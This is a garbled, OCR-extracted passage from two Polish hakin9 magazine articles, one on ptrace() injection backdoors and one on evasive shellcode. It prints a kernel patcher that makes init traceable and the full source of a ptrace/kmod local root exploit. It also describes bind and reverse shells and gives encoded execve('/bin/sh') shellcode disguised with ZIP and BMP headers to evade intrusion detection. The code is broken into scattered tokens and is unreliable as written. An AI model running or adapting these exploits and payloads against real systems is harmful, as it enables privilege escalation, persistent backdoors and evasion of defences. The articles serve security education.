)

{

;

kmode

;

gcc_ver

GCC_295

;

}

else

{

(

memmem

(

buffer

BUFSIZE

10"

)

{

;

kmode

;

gcc_ver

GCC_3XX

;

}

else

{

fprintf

(

stderr

"fatal: can't find patch 1 address

);

return

(

);

}

write_kmem

(

buffer

ptrace

);

printf

(

" . kp1 @ 0x%08X

buffer

ptrace

);

/* get ptrace_attach() address and patch it */

(

gcc_ver

GCC_3XX

)

{

;

ptrace

int

*)(

)

buffer

;

read_kmem

(

ptrace

buffer

BUFSIZE

);

buffer

;

}

(

memchr

(

0xE8

)

{

fprintf

(

stderr

"fatal: can't locate ptrace_attach

);

return

(

);

}

ptrace

int

*)(

)

buffer

;

read_kmem

(

ptrace

buffer

BUFSIZE

);

(

memmem

(

buffer

BUFSIZE

7C"

)

{

fprintf

(

stderr

"fatal: can't find patch 2 address

);

return

(

);

}

(

kmode

);

write_kmem

(

buffer

ptrace

);

Pisanie własnych furtek

wego portu. Po prostu pozostawimy
powłokę na naszym terminalu, żeby
zapobiec łatwemu wykryciu. Zresztą,
później będzie o tym więcej.

Objaśnienia

do różnych furtek

Mamy do dyspozycji wiele możliwych
furtek, ale chyba nie znasz chyba
wszystkich? Zagłębmy się w szczegó-
ły. Pokażę parę zrzutów ekranu róż-
nych pasożytów w akcji i wyjaśnię, o
co tam chodzi, żeby przedstawić lep-
szy obraz tego, co się tam dzieje.

Infekcja procesu init

za pomocą /dev/kmem

Zwykle nie możesz się podłączyć
do procesu init przez

ptrace()

. Jed-

nak  odpowiednim  trikiem  możemy
proces  init  uczynić  możliwym  do
śledzenia  i  w  ten  sposób  zainfeko-
wać  go  pasożytem.  Rzućmy  okiem
na  wywołanie  systemowe

ptrace()

(

sys _ ptrace

), znajdujące się w arch/

i386/kernel/ptrace.c:

ret = -EPERM;
if (pid == 1)
/* you may not mess with init */
goto out_tsk;
if (request == PTRACE_ATTACH)
{

Figure 2.

Infekowanie procesu

Figure 3.

Testowanie infekcji

Listing 8c.

Łata na jądro umożliwiająca ptrace() na init

printf

(

" . kp2 @ 0x%08X

buffer

ptrace

);

/* success */

(

)

printf

(

" - kernel unpatched

);

else

printf

(

" + kernel patched

);

(

kmem_fd

);

return

(

);

}

hakin9 Nr 1/2007

www.hakin9.org

Atak

ret = ptrace_attach(child);
goto out_tsk;
}

Christophe Devine napisał mały pro-
gram, który jest rozprowadzany na li-
cencji publicznej GNU, do załatania
jądra  w  czasie  wykonywania,  żeby
można  było  śledzić  init.  Załączam
ten  kod  (patrz  Listingi  8).  Teraz  po
załataniu tą metodą

/dev/kmem

, moż-

na  zainfekować  proces  init.  Jednak
po zainfekowaniu, init nie będzie się
już  znajdował  na  szczycie  procesu
i  przez  to  może  ujawnić,  że  system
został naruszony.

Snifer do read()

Wystarczy  teorii,  skupmy  się  teraz
na  konstrukcji  sniffera  read().  Po
prostu  wstrzykniemy  instrukcje  pa-
sożyta w segment kodu, nadpisując
tym  samym  globalny  offset  funkcji
read() tak, aby wskazywała na nasz
kod.  Jego  wykonanie  będzie  imito-
wało funkcję read() z uzupełnieniem
o logowanie wszystkiego do określo-
nego pliku. Kod jest wart więcej niż
słowa, więc zacznijmy. Na początek
spójrzmy na nasz kod zastępczy: (Li-
sting 6)

Istotną rzeczą, którą w tym miej-

scu trzeba odnotować, pozwalającą
uniknąć męczącej sesji z debuge-
rem, jest to, iż różne wersje gcc trak-
tują wywołanie

inline asm()

inaczej.

W związku z tym, nawet jeśli powyż-
sze wywołanie działa na niektórych
wersjach gcc, na nowszych już nie-
koniecznie. Aby temu zaradzić po-
stąpimy tak jak w pierwszym przyto-
czonym przykładzie:

asm("movl $1, %eax\n"
"movl $123, %ebx\n"
"int $0x80\n");

Nasz  kod  zastępczy  jest  gotowy.
To  podstawa  naszej  furtki,  paso-
żyt. Przejdźmy teraz do potrzebnych
funkcji.  Komentarze  prezentuję  po-
wyżej funkcji:

Furtka przez dup2()

No  cóż,  ta  furtka  jest  całkiem  nie-
widzialna  i  netstat  jej  nie  pokazu-
je.  Oczywiście  nie  korzystamy  z

Listing 9a.

Linux kernel ptrace()/kmod local root exploit

#include

<grp.h>

#include

<stdio.h>

#include

<fcntl.h>

#include

<errno.h>

#include

<paths.h>

#include

<string.h>

#include

<stdlib.h>

#include

<signal.h>

#include

<unistd.h>

#include

#include

#include

#include

#include

#include

#include

char

cliphcode

[]

00"

80"

0d"

d3"

ff"

;

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t

parent

;

pid_t

child

;

pid_t

victim

;

volatile

int

gotchild

;

void

fatal

(

char

msg

)

{

perror

(

msg

);

kill

(

parent

SIGKILL

);

kill

(

child

SIGKILL

);

kill

(

victim

SIGKILL

);

}

void

putcode

(

unsigned

long

dst

)

{

char

buf

[

MAXPATHLEN

CODE_SIZE

];

unsigned

long

src

;

int

len

;

memcpy

(

buf

cliphcode

CODE_SIZE

);

len

readlink

(

"/proc/self/exe"

buf

CODE_SIZE

MAXPATHLEN

);

(

len

)

fatal

(

"[-] Unable to read /proc/self/exe"

);

len

CODE_SIZE

;

buf

[

len

]

;

src

(

unsigned

long

buf

;

for

(

;

len

;

)

(

ptrace

(

PTRACE_POKETEXT

victim

dst

src

++)

)

fatal

(

"[-] Unable to write shellcode"

);

}

void

sigchld

(

int

signo

)

{

struct

user_regs_struct

regs

;

(

gotchild

)

return

;

fprintf

(

stderr

"[+] Signal caught

);

(

ptrace

(

PTRACE_GETREGS

victim

NULL

regs

)

fatal

(

"[-] Unable to read registers"

);

fprintf

(

stderr

"[+] Shellcode placed at 0x%08lx

regs

eip

);

putcode

((

unsigned

long

regs

eip

);

fprintf

(

stderr

"[+] Now wait for suid shell...

);

(

ptrace

(

PTRACE_DETACH

victim

)

fatal

(

"[-] Unable to detach from victim"

);

exit

(

);

Pisanie własnych furtek

hakin9 Nr 1/2007

www.hakin9.org

Listing 9b.

Eksploit na lokalnego roota do ptrace()/kmod jądra Linuksa

}

void

sigalrm

(

int

signo

)

{

errno

ECANCELED

;

fatal

(

"[-] Fatal error"

);

}

void

do_child

(

void

)

{

int

err

;

child

getpid

();

victim

child

;

signal

(

SIGCHLD

sigchld

);

err

ptrace

(

PTRACE_ATTACH

victim

);

while

(

err

errno

ESRCH

);

(

err

)

fatal

(

"[-] Unable to attach"

);

fprintf

(

stderr

"[+] Attached to %d

victim

);

while

gotchild

)

;

(

ptrace

(

PTRACE_SYSCALL

victim

)

fatal

(

"[-] Unable to setup syscall trace"

);

fprintf

(

stderr

"[+] Waiting for signal

);

for

(;;);

}

void

do_parent

(

char

progname

)

{

struct

stat

;

int

err

;

errno

;

socket

(

AF_SECURITY

SOCK_STREAM

);

{

err

stat

(

progname

);

}

while

(

err

(

st_mode

S_ISUID

)

S_ISUID

);

(

err

)

fatal

(

"[-] Unable to stat myself"

);

alarm

(

);

system

(

progname

);

}

void

prepare

(

void

)

{

(

geteuid

()

)

{

initgroups

(

"root"

);

setgid

(

);

setuid

(

);

execl

(

_PATH_BSHELL

NULL

);

fatal

(

"[-] Unable to spawn shell"

);

}

int

main

(

int

argc

char

argv

)

{

prepare

();

signal

(

SIGALRM

sigalrm

);

alarm

(

);

parent

getpid

();

child

fork

();

victim

child

;

(

child

)

fatal

(

"[-] Unable to fork"

);

(

child

)

do_child

();

else

do_parent

(

argv

[

]);

return

;

}

gniazd,  w  związku  z  czym  musimy
napisać  własną  implementacje  po-
włoki.  Trzeba  przy  tym  pamiętać,
w  jaki  sposób  działa  powłoka  wią-
żąca. Duplikuje (używając

dup2

) de-

skryptory,

stdout/in/err

by podpiąć

je pod gniazdko tak, aby nasza po-
włoka  pokazała  się  po  właściwej
stronie,  a  nie  na  serwerze.  Nasz
kod nie używa gniazd, w związku z
czym  jest  niewidzialny  dla  zwykłe-
go admina. Wstrzykiwany kod może
uzyskać  dostęp  do  wszystkich  da-
nych procesu, w tym deskryptorów.
Gdy łączymy się ze zdalną usługą,
wywoływany  jest

fork()

a następ-

nie

accept()

, więc alokowane są no-

we deskryptory, do których chcemy
uzyskać dostęp.

Jest kilka na to sposobów: l mo-

żemy nadpisać

accept()

naszą wła-

sną implementacją, która zapisze
zwracane wartości do jakiegoś pliku,
z którego będzie można je odczytać.
Jest to lepsze niż poprzednio, lecz
nie idealne wyście.

l możemy użyć

procfs

, informa-

cja o stanie używanych deskrypto-
rów jest w

/proc/ _ pid _ /fd.

Po pro-

stu wygrepuj ostatni deskryptor. Ten
wariant nie jest jednak w pełni zado-
walający, gdyż jego realizacja zajmie
z byt dużo miejsca. Również

procfs

może być niedostępny w niektórych
systemach.

l metoda

dup2

. Nie zajmuje do-

datkowego  miejsca,  lecz  praw-
dopodobnie  nie  jest  uniwersalna.
Zwykle  proces  ma  stałą  ilość  uży-
wanych  deskryptorów  i  możemy
je  wykryć  używając  strace.  Ma-
ły przykład z Netstat: $nc -lp 1111.
czytamy  pid,  a  następnie  wykonu-
jemy  strace  -p.  Z  kolei  po  komen-
dzie telnet localhost 1111 odczytu-
jemy zwracaną wartość z accept(),
która z reguły jest 3 bądź 4 w więk-
szości przypadków.

Połączenie zwrotne

Zwykle  chcemy  odpalić  powłokę
wiążącą, lecz co zrobić w sytuacji,
gdy firewall blokuje port? Rozwiąza-
niem  jest  połączenie  wychodzące.
Z reguły wszystkie tego typu połą-
czenia są dozwolone, lecz czasami
istnieje  ograniczenie  do  kilku  do-

hakin9 Nr 1/2007

www.hakin9.org

Atak

zwolonych  portów.  W  tym  wypad-
ku  można  sprawdzić  DNS  (port
53), WWW (port 80) lub FTP (port
21) itd. Ostatnim pozostającym ele-
mentem  będzie  stworzenie  kodu
zastępczego  do  połączenia  zwrot-
nego, a przy technikach, które by-
ły  prezentowane  nie  powinno  sta-
nowić  to  problemu.  Na  początek
sugeruję  użyć  stałej  wartości  dla
adresu IP takiej jak #define CB_IP
127.0.0.1 a następnie po prostu wy-
konać

connect()

i odpalić

/bin/sh

-i.

Przykład z życia

Po całej tej teorii przyszedł czas na
jakiś rzeczywisty działający kod, zga-
dza się? No to do roboty. Na sche-
macie 1 widać ściąganie wstrzykiwa-
cza

ptrace()

, zwanego malaria, do-

stępnego w internecie.

Odpalmy Netcat w tle. Będzie

stanowił on nasz cel, który staramy
się zainfekować. Schemat 2 pokazu-
je sposób infekcji procesu.

Teraz, gdy nasz kod powłoko-

wy jest wczytany do pamięci, może-
my dostrzec na ostatnim ekranie no-
wy nasłuchujący port TCP. Gdy się
z nim połączymy uzyskamy powło-
kę roota!

Był to przykład prostego wstrzy-

kiwacza  z  Internetu.  Istnieją  jednak
bardziej  zaawansowane  wersje  ła-
twe do znalezienia, wiec jeśli chcesz
znaleźć  i  przetestować  coś  więcej,
sugeruję przeszukanie Google’a.

Ochrona

przed tego typu atakami

Zanim  zaprezentujemy  sposób
ochrony  przed  tego  typu  ataka-
mi,  najpierw  musimy  zapoznać  się
ze  sposobem  detekcji  tego  typu  in-
fekcji.  Najlepszym  na  to  sposobem
jest  porównanie  adresów  z  Global-
nej Tablicy Przesunięć. Można rów-
nież  napisać  lkm,  które  limituje  wy-
konanie

ptrace()

do root-a, gdyż jeśli

atakujący posiada juz prawa root-a,
nie ma się już co martwić o to, jakiej
furtki używa, ale można się dowie-
dzieć, jak uzyskał do niej dostęp, a
następnie czeka cię reinstalacja. Ta-
kie lkm-y istnieją od lat i nie powinno
być trudno je znaleźć.

Dodatek

2.4.x kernel patcher pozwala na
ptrace-owanie w procesie init (Co-
pyright (c) 2003 Christophe Devine

devine@iie.cnam.fr).  Jest  to  dar-
mowy  program,  który  możesz  re-
dystrybuować i modyfikować w ra-
mach licencji GNU (General Public
License) opublikowanej przez Free
Software  Fundation  w  wersji  dru-
giej  lub  późniejszej.  Program  ten
jest  użyteczny,  lecz  nie  daje  żad-
nych  gwarancji,  w  tym  gwarancji
handlowej,  ani  sprawdzania  się  w
określonym zastosowaniu. Odsyła-
my do GNU General Public Licen-
se po więcej szczegółów. Powinie-
neś  otrzymać  kopię  GNU  General
Public License wraz z tym progra-
mem, jeśli nie, możesz napisać do
Free  Software  Fundation,  Inc.,  59
Temple  Place,  Suite  330,  Boston,
MA 02111-1307 USA.

Eksploit na lokalnego roota do

ptrace()/kmod

jądra Linuksa. Ten

kod wykorzystuje sytuację wyści-
gu w

kernel/kmod.c

, który tworzy

wątek w sposób narażający bez-
pieczeństwo. Ta dziura pozwala na

ptrace()

w sklonowanym procesie,

dając  możliwość  uzyskania  kontro-
li  nad  uprzywilejowanym  plikiem  bi-
narnym  modprobe.  Powinno  dzia-
łać pod każdym jądrem 2.2.x i 2.4.x.
Odkryłem ten głupi błąd niezależnie
25 stycznia 2003, tzn. (prawie) dwa
miesiące przed poprawką i jej opubli-
kowaniem przez Red Hata i innych.
Wojciech  Purczyński  cliph@isec.pl.

TEN PROGRAM JEST WYŁĄCZ-

NIE DO CELÓW EDUKACYJNYCH

I JEST DOSTARCZONY W TAKIEJ

POSTACI BEZ ŻADNEJ GWARAN-

CJI ((c) 2003 Copyright by iSEC Se-
curity Research).

Podsumowanie

No dobrze, nauczyliśmy się niezłych
sposobów na manipulowanie cho-
dzącymi programami w pamięci. Da-
je nam to wiele możliwości zmienia-
nia przepływu wykonania w taki spo-
sób, że możemy całkowicie kontrolo-
wać program.

Załóżmy, że mamy Daemona

O  Zamkniętych  Źródłach,  który  nie
ma  wystarczających  elementów  lo-
gujących, a plik z logiem jest mocno
uproszczony, ale my chcemy więcej
informacji!  Normalnie  to  trzeba  by
z  tym  żyć,  albo  zażądać  poprawek
od dostawcy. Teraz możesz sobie to
sam uprościć!

Piszesz drobny wstrzykiwacz

ptrace()

, który zamienia funkcje lo-

gujące  na  twoje,  albo  po  prostu  lo-
gujesz  wszystko  poprzez  podpina-
nie  się  pod

read()/write()

czy po-

dobnych.

Zwykle ta wiedza jest wykorzy-

stywana przez testery penetracji z
powłoką z wstrzykiwaczem

ptrace()

do włamania się na chroot, albo ha-
kerów do furtkowania binariów, ale ta
wiedza daje ci też większą elastycz-
ność w pracy administratorskiej przy
pracy z oprogramowaniem zamknię-
tym. l

O autorze

Autor jest zaangażowany w działkę bezpieczeństwa IT od ponad 10 lat i pracował jako
administrator bezpieczeństwa i inżynier oprogramowania. Od 2004 roku jest CEO w
firmie GroundZero Security Research w Niemczech. Wciąż pisze kody eksploitów dla
Proof of concept, aktywnie bada sprawy związane z bezpieczeństwem i wykonuje te-
sty penetracji. Kontakt z autorem: stefan.klaas@gmx.net

W Sieci

• http://publib16.boulder.ibm.com/pseries/en_US/libs/basetrf1/ptrace.htm - techni-

cal Reference: Base Operating System and Extensions, Volume 1,

• http://www.phrack.com/phrack/59/p59-0x0c.txt – budowanie kodu powłokowego

wstrzykującego przez

ptrace()

• http://www.die.net/doc/linux/man/man2/ptrace.2.html – man 2

ptrace()

www.hakin9.org

hakin9 Nr 1/2007

Atak

ajbardziej powszechne i popularne ko-
dy powłoki działają na bazie dostępu do
linii poleceń systemu, który jest celem

ataku – stąd zresztą wzięła się nazwa tej tech-
niki. Powłoka to program, który daje dostęp do
serwisów udostępnianych przez jadra systemu.
Przykładami powłoki mogą być CMD.EXE (dla
systemów z rodziny Windows) bądź /bin/bash
(dla systemów z rodziny Linux, UNIX). Kody po-
włoki próbują uruchomić właśnie te aplikacje.
Zagrożenie powiązane z kodem powłoki jest
bardzo duże, jako że kod taki będzie wywoła-
ny z takimi samymi przywilejami jak wykorzy-
stany przez niego proces – mogą być to zarów-
no przywileje użytkownika jak i administratora.
Mają te ostatnie, kod powłoki ma moc do prze-
prowadzenia niemalże każdej operacji w syste-
mie, a na dodatek może zrobić to w niewidocz-
ny sposób, jako że jego poczynania będą ma-
skowane przez eksploatowny proces.

Istnieje duża różnorodność rozwiązań

stworzonych  w  celu  zapobiegania  kodów
powłoki  w  systemach.  Może  to  być  zarów-
no instalacja dedykowanych systemów detek-
cji  i  usuwania  intruzów  jak  i  różnego  rodzaju
czynności  prewencyjne  narzucone  przez  ad-
ministratora systemu. Z punktu widzenia ata-

kującego  są  to  pewne  przeszkody.  W  niniej-
szym artykule przedstawię koncepcje na któ-
rych bazuje część ze wspomnianych rozwią-
zań wskazując przy okazji na ich słabe strony.
Pokażę również przykład rzeczywistego kodu
powłoki,  który  wykorzystuje  słabe  punkty  w
celu  ominięcia  systemu  zabezpieczeń.  Mimo
tego,  iż  prezentowane  kody  powłoki  zostały

Schellcody

nowej genaracji

Itzik Kotler

stopień trudności

Kod powłoki jest fragmentem kodu maszynowego, który

wykorzystuje się jako ładunek przy atakach bazujących na

wykorzystaniu błędów softwarowych. Wykorzystywanie słabych

punktów w rodzaju przepełnienia bufora przydzielonego na stosie

lub stercie lub stringów formatujących wymagają kodu powłoki. Kod

ten będzie wykonany jeśli proces wykorzystania luki się powiedzie.

Z artykułu dowiesz...

• jakie przeszkody spotyka napastnik próbujący

uruchomić kod powłoki na systemie będącym
celem ataku oraz jak wyglądają sposoby obej-
ścia tych przeszkód,

• jak projektować i implementować bardziej

sprytne kody powłoki.

Powinieneś wiedzieć...

• podstawy Assemblera x86 dla platformy Linux,
• podstawowe informacje na temat technik ata-

ków bazujących na przepełnieniu bufora przy-
dzielonego na stosie lub na stercie, oraz ata-
ków wykonywanych przy pomocy napisów for-
matujących.

Ewolucja shellcodów

hakin9 Nr 1/2007

www.hakin9.org

zaprojektowane dla systemów Linux
działających w architekturze x86 to
część koncepcji na których one ba-
zują można uznać za przenośnie i
wykorzystać na innych platformach.

Ewolucja kontra

diagnozowanie

„po kablu”

Metoda  diagnozowania  „po  kablu”
(ang.  Wire  diagnose)  jest  często
implementowana  w  ramach  syste-
mów klasy IDS (ang. Intrusion Detec-

tion Systems) oraz IPS (ang. Intru-

sion  Prevention  Systems).  Rozwią-
zania te różnią się przede wszystkim
rodzajem zakresami kontroli. Pierw-
sze skupiają się na warstwie komuni-
kacyjnej  próbując  wyłapać  tu  wszel-
kie  rodzaje  podejrzanych  pakie-
tów  w  Sieci,  które  przebrnęły  przez
klasyczną  zaporę  systemu;  drugie
monitorują system na poziomie hosta,
próbując wyłapać tu wszelkie rodzaje
złośliwych zachowań.

Metoda diagnozowania „po ka-

blu”  jest  jedną  z  właściwości  NIDS
(systemu  detekcji  intruzów)  i  pole-
ga  na  rozpoznawaniu  i  klasyfikacji
pakietów  nadchodzących  z  Sieci
zanim  dotrą  one  do  swoich  punk-
tów  przeznaczenia.  W  przypadku
rozpoznania  potencjalnego  niebez-
pieczeństwa system podnosi alarm.
Podobnie jak programy antywiruso-
we, NIDS posiada bazę danych pod-
pisów i wzorców, które związane są
z  próbami  włamań  do  systemów.
Baza  taka  składa  się  zazwyczaj
z  listy  najczęściej  używanych  baj-
tów, lub sekwencji bajtów pojawiają-
cych się w kodach powłoki.

Siła tej metody zależy z jednej

strony  od  jakości  informacji  składo-
wanych w bazie, zaś z drugiej – od
tego na ile „typowa” jest struktura ko-
du powłoki, który próbuje włamać się
do systemu. Ponieważ z punktu wi-
dzenia  napastnika  baza  reguł  NIDS
jest  niedostępna,  dlatego  jedynym
sposobem na obejście tej przeszko-
dy jest zmiana struktury kodu powło-
ki; zjawisko to zwane jest polimorfi-
zmem.

Innym słabym punktem tej me-

tody są warstwy bezpiecznego
przesyłania danych w Sieci. Pro-

Listing 1.

Zaszyfrowane kody powłoki składają się z dwóch części

#
#

(

linux

x86

)

execve

(

"/bin/sh"

[

"/bin/sh"

]

NULL

)

zakodowane

przez

bajt

# - izik@tty64.org
#
.

section

text

global

_start

#
# Zakodowany ładunek

(

drugi

kod

pow

oki

)

pushl

0x81cee28a

pushl

0x54530cb1

pushl

0xe48a6f6a

pushl

0x63306901

pushl

0x69743069

pushl

0x14

popl

ecx

#
# Pętla dekodująca
#

_unpack_loop

decb

esp

ecx

)

decl

ecx

jns

_unpack_loop

incl

ecx

mul

ecx

#
# Skocz do

zdekodowanego

kodu

pow

oki

push

esp

ret

Listing 2.

Kod powłoki rozpoczyna się serią instrukcji PUSH

#
# Zakodowany ładunek

(

drugi

kod

pow

oki

)

pushl

0x81cee28a

pushl

0x54530cb1

pushl

0xe48a6f6a

pushl

0x63306901

pushl

0x69743069

Listing 3.

Skok pętli do ładunku umieszczonego na stosie

#
# Pętla dekodująca
#

_unpack_loop

decb

esp

ecx

)

decl

ecx

jns

_unpack_loop

incl

ecx

mul

ecx

#
# Jump to the decoded shellcode
#

push

esp

ret

hakin9 Nr 1/2007

www.hakin9.org

Atak

tokoły  typu  SSL  czy  VPN  (IPSec)
są wykorzystywane w celu tzw. tu-
nelowania,  które  omija  NIDS,  jako
że  przekazywane  dane  są  szyfro-
wane i deszyfrowane w końcowych
punktach połączenia. W tej sytuacji
NIDS nie jest w stanie zdekodować
przychodzących danych i baza re-
guł staje się bezużyteczna.

CJO0TI = /BIN/SH

Szyfrowanie  kodu  powłoki  to  pod-
stawowy  mechanizm  prowadzą-
cy  do  uzyskania  polimorfizmu.  Pro-
ces ten pozwala bezkarnie wykorzy-
stywać „oznaczone” bajty i sekwen-
cje nie martwiąc się o to, ze zostaną
one przechwycone po stronie NIDS.
Istnieje cała gama metod szyfrowa-
nia, przy czym większość z nich ba-
zuje  na  funkcjach  matematycznych
lub bramkach logicznych. Szyfrowa-
nie kodu powłoki może również po-
legać na tworzeniu luk w strumieniu
danych, który przechodzi przez sieć
– luki te są usuwane przed wywoła-
niem kodu w docelowym systemie.

Polimorfizm kodów powłoki

można  zauważyć  również  w  przy-
padku  kiedy  próba  ataku  opiera
się  o  protokół  wymagający  ograni-
czonego zestawu znaków. Na przy-
kład protokoły działające w oparciu
o dane tekstowe automatycznie od-
rzucają  jakiekolwiek  dane  binarne.
W takim przypadku kody powłoki są
reprezentowane  w  postaci  alfanu-
merycznej.

Zaszyfrowane kody powłoki skła-

dają się z dwóch części: zakodowa-
nego ładunku oraz dekodera, który
deszyfruje pierwszą część i na końcu
wykonuje do niej skok. (Listing 1)

Przedstawiony w Listingu 1. kod

powłoki w momencie wywołania ma
postać execve("/bin/sh"). Jednakże
w postaci zakodowanej wygląda zu-
pełnie inaczej.

Kod powłoki rozpoczyna się serią

instrukcji PUSH. Przy każdym wywo-
łaniu tej instrukcji na stos wrzucane są
4 bajty zaszyfrowanego ładunku. Stos
jest idealnym miejscem gdzie można
rozpakować  niewielką  ilość  danych  i
na  dodatek  (domyślnie)  posiada  ze-
zwolenie na czytanie, pisanie i co naj-
bardziej  istotne  –  wykonywanie  ko-

du który się aktualnie na nim znajdu-
je.(Listing 2). W dalszej kolejności ma-
my kod dekodera. Szyfrowanie w tym
przypadku jest prostą grą inkrementa-
cji i dekrementacji. Dekoder jest zło-
żony z pętli, która czyta bajt po baj-
cie dane wrzucone na stos i wykonuje
na nich operację odejmowania w ce-
lu przywrócenie oryginalnej wartości.
Po zakończeniu pętli kod powłoki wy-
konuje skok do ładunku umieszczone-
go na stosie (Listing 3.).

Oczywiste jest, że im łatwiejsza

metoda dekodowania tym mniejszy
będzie dekoder. Podejście to ma
jeszcze jedną zaletę – pozwala uży-
wać zabronionych bajtów – chociaż-
by takich jak

NULL

z racji tego,

że jest stosowany jako znacznik koń-
ca napisu, nie powinien być używa-
ny w ciele kodu powłoki (kod taki, w
przypadku ataków polegających na
wykorzystaniu stringów mógłby być
przedwcześnie obcięty).

Jednak przy zastosowaniu szy-

frowania problem znika – podatna
na atak funkcja (np.

strcpy()

) nigdy

nie przetworzy wartości

NULL

, gdyż

jest ona zakodowana.

Pomimo tego, że szyfrowanie

zmienia wygląd zewnętrzny kodu po-
włoki,  warto  zauważyć  iż  wynikowa
postać  nie  zawsze  musi  być  odpor-
na na metodę diagnozowania „po ka-
blu”. Problem w tym, że wielokrotne
wykorzystanie  tego  samego  sche-
matu szyfrowania może sprawić, że
odpowiedzialny za to kod będzie za-
rejestrowany jako wzorzec i umiesz-

Listing 4.

Kod powłoki

#
#

x86

linux

–

execve

(

"/bin/

sh"

[

"/bin/sh"

NULL

])

Nag

łó

wek

ZIP

bajt

# - izik@tty64.org
#
.

section

text

global

_start

#
# PK[\03\04], Nagłówek

archiwum

danych

[

Zip

]

(

bajt

)

#
.

byte

0x50

byte

0x4b

byte

0x03

byte

0x04

byte

0x24

#
#

execve

(

"/bin/sh"

[

"/bin/sh"

NULL

]);

push

0xb

popl

eax

cdq

push

edx

push

0x68732f2f

push

0x6e69622f

mov

esp

ebx

push

edx

push

ebx

mov

esp

ecx

int

0x80

Listing 5a.

Formaty

x86

linux

–

execve

(

"/bin/sh"

[

"/bin/sh"

NULL

])

Nag

łó

wek

bitowej

Bitmapy

bajty

# - izik@tty64.org
#
.

section

text

global

_start

#
# Nagłówek 24-bitowej Bitmapy
#
.

byte

0x42

byte

0x4D

byte

0x36

byte

0x91

#
#

execve

(

"/bin/sh"

[

bin/sh"

NULL

]);

push

0xb

popl

eax

cdq

push

edx

push

0x68732f2f

O autorze:

Itzik Kotler jest badaczem zajmującym
się problemami bezpieczeństwa w sys-
temach informatycznych, oraz założy-
cielem  projektu  TTY64.  Wspomniany
projekt skupia się na promowaniu tech-
nik programowania zorientowanych na
bezpieczeństwo, a także na wszelkich
aspektach  powiązanych  z  tym  tema-
tem. Na stronie domowej projektu moż-
na znaleźć wiele ciekawych informacji
i  zasobów  powiązanych  z  tematem
(między innymi przykładowe fragmen-
ty kodu).
Kontakt z autorem: izik@tty64.org

Ewolucja shellcodów

hakin9 Nr 1/2007

www.hakin9.org

czony w bazie danych. Aby uzyskać
w miarę niezawodne rozwiązanie na-
leżałoby ciągle modyfikować zarów-
no samą formułę kodu powłoki jak i
metodę szyfrowania tej formuły.

Ja jestem ZIP,

a kim jesteś Ty?

Częstym sposobem na rozróżnienie
dwóch różnych formatów danych jest
próba odczytania pewnych znaczni-
ków. Dla przykładu – do poszczegól-
nych formatów często przypisuje się
konkretne  rozszerzenia  plików,  i  co
więcej – lwia część formatów danych
posiada  nagłówki  opatrzone  „ma-
gicznymi”  numerami  bądź  bajtami.
Bajty  te  są  często  przydatne  kiedy
aplikacja  próbuje  zweryfikować  czy
nadchodzący strumień danych ma w
pożądany format.

Wstawianie do kodu powłoki „ma-

gicznych” bajtów powiązanych z po-
wszechnie  rozpoznawanymi  forma-
tami plików może być bardzo pomoc-
ne przy oszukiwaniu narzędzi moni-
torujących ruch w Sieci. Szczególnie
w przypadkach prób włamania się do
systemu poprzez takie standardowe
kanały jak poczta elektroniczna czy
zawartość  stron  webowych,  bardzo
ważne jest to aby kod powłoki otrzy-
mał fałszywą „osobowość”. Dla przy-
kładu,  kod  powłoki,  który  przedsta-
wia  się  jako  ZIP  ma  dużą  szansę
ogłupić system wykrywania intruzów
i osiągnąć swój cel (Listing 4.).

Kod powłoki zaczyna się 5 bajto-

wym  nagłówkiem  charakterystycz-
nym  dla  popularnego  formatu  kom-
presji  –  ZIP.  W  tym  przypadku  bar-
dzo istotny jest fakt, iż wspomniane
5 bajtów da się przekształcić w po-
prawne instrukcje asemblera. Ponie-
waż  system  skupia  się  na  wychwy-
tywaniu kodów powłoki, niewątpliwie
weźmie  w  pierwszej  kolejności  pod
lupę właśnie te bajty i istnieje szan-
sa, że rozpozna je jako nagłówek po-
prawnego bądź uszkodzonego archi-
wum ZIP. Nawet jeśli system monito-
ringu nie jest w stanie rozpoznać for-
matu  ZIP,  to  i  tak  uzyskamy  pewną
przewagę, jako że bajty nagłówkowe
są rzadko używane w kodach powło-
ki, co uczyni nasze rozwiązanie trud-
niejszym do wykrycia.

Przy próbie podszywania się pod

taki czy inny format, powodzenie ata-
ku  zależy  prawie  zawsze  od  głębo-
kości analizy przeprowadzanej przez
system  monitorowania.  Nie  zawsze
też  udaje  się  zrekonstruować  dany
format w taki sposób, aby można go
było  przetłumaczyć  na  poprawne  in-
strukcje asemblera. Czasami też trud-
no jest w pełni odtworzyć z poziomu
kodu powłoki strukturę formatu. W re-
zultacie  system  monitorujący,  który
szuka dostatecznie głęboko, będzie w
stanie zauważyć, że coś jest nie tak.
Przeglądając listę popularnych forma-
tów  można  zauważyć,  że  niektóre  z
nic maja luźniejszą strukturę niż inne
– zarówno w odniesieniu do nagłówka
jak i do zawartości. Dobrymi kandyda-
tami są formaty reprezentujące dane
multimedialne  –  w  szczególności  w
postaci  surowej  (nie  skompresowa-
nej). Formaty te są zazwyczaj bardzo
elastyczne i co ważne – na tyle popu-
larne, aby postrzegać je jako część ty-
powego ruchu w Sieci (Listing 5.).

Bitmapa (.BMP) jest surowym for-

matem do reprezentacji obrazu, który
jest wręcz idealną przykrywką dla ko-
du powłoki. Trik w tym przypadku po-
lega na tym, iż trudno wyobrazić sobie
system monitorowania, który potrafił-
by przewidzieć czy danych obraz jest
prawdziwy czy nie. Koncepcję tę moż-
na oczywiście stosować w odniesieniu
do innych formatów – dobrymi kandy-
datami są RIFF (.WAV) oraz Rich Text
(.RTF). Podstawowym ograniczeniem
przy stosowaniu tej techniki jest fakt,
że wszystkie bajty występujące w na-
główku formatu, który planujemy wy-
korzystać jako kamuflaż kodu powło-
ki muszą być prawidłowymi instruk-
cjami asemblera. W innym przypadku
wywołanie kodu powłoki zakończy się
błędem naruszania dostępu w trakcie
wykonania.

Ewolucja kontra

diagnozowanie w czasie

wykonania

Metoda tzw. diagnozowania w cza-
sie wykonania jest kolejnym często
stosowanym rozwiązaniem stoso-
wanym w systemach IDS oraz IPS.
Metoda ta jest zazwyczaj wykorzy-
stywana jako rozszerzenie mecha-

nizmu diagnozowania „po kablu”,
który omawiałem w jednym z po-
przednich punktów.

Kluczowym elementem opisywa-

nego w tym miejscu procesu jest ba-
danie efektów wykonania kodu, któ-
ry został sklasyfikowany jako po-

Listing 5b.

Formaty

push

0x6e69622f

mov

esp

ebx

push

edx

push

ebx

mov

esp

ecx

int

0x80

Listing 6.

Pułapka INT 3h

#
